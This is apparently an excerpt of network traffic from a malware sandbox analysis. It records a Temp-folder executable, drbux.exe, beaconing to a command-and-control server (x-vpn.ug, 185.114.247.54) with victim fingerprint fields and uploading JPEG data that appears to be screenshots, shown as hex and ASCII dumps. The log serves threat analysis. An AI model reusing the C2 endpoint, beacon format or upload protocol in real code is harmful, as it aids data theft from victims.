Jul 19, 2021 18:36:17.625649929 CEST	14841	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:17.625979900 CEST	14844	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:17.625993967 CEST	14847	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:17.626658916 CEST	14849	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:17.626674891 CEST	14852	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:17.627872944 CEST	14855	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:17.937138081 CEST	14921	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.6	49911	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:17.795788050 CEST	14895	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:17.877331018 CEST	14920	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.6	49912	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:18.082923889 CEST	14922	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:18.191709995 CEST	14922	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.6	49913	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:18.254328966 CEST	14922	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:18.254590034 CEST	14923	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:18.254822969 CEST	14933	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:18.254923105 CEST	14935	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:18.338113070 CEST	14938	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:18.338825941 CEST	14944	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:18.339354992 CEST	14946	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:18.339715004 CEST	14952	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:18.340008020 CEST	14956	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:18.340282917 CEST	14959	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:18.340790033 CEST	14961	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:18.616753101 CEST	15020	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49753	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:29.567840099 CEST	2671	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:29.568224907 CEST	2671	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:29.568429947 CEST	2681	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:29.568581104 CEST	2684	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:29.652239084 CEST	2684	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:29.652616978 CEST	2687	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:29.653028965 CEST	2690	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:29.653212070 CEST	2693	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:29.653397083 CEST	2695	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:29.653661966 CEST	2698	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:29.654019117 CEST	2701	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:29.654429913 CEST	2704	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.6	49914	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:18.405796051 CEST	14962	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:18.514293909 CEST	15019	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.6	49915	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:18.723758936 CEST	15021	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:18.827411890 CEST	15021	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Refresh: 1; url = login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.6	49916	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:18.908550024 CEST	15022	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:18.908855915 CEST	15022	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:18.909256935 CEST	15032	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:18.909533978 CEST	15035	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:18.992964029 CEST	15038	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:18.993031025 CEST	15043	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
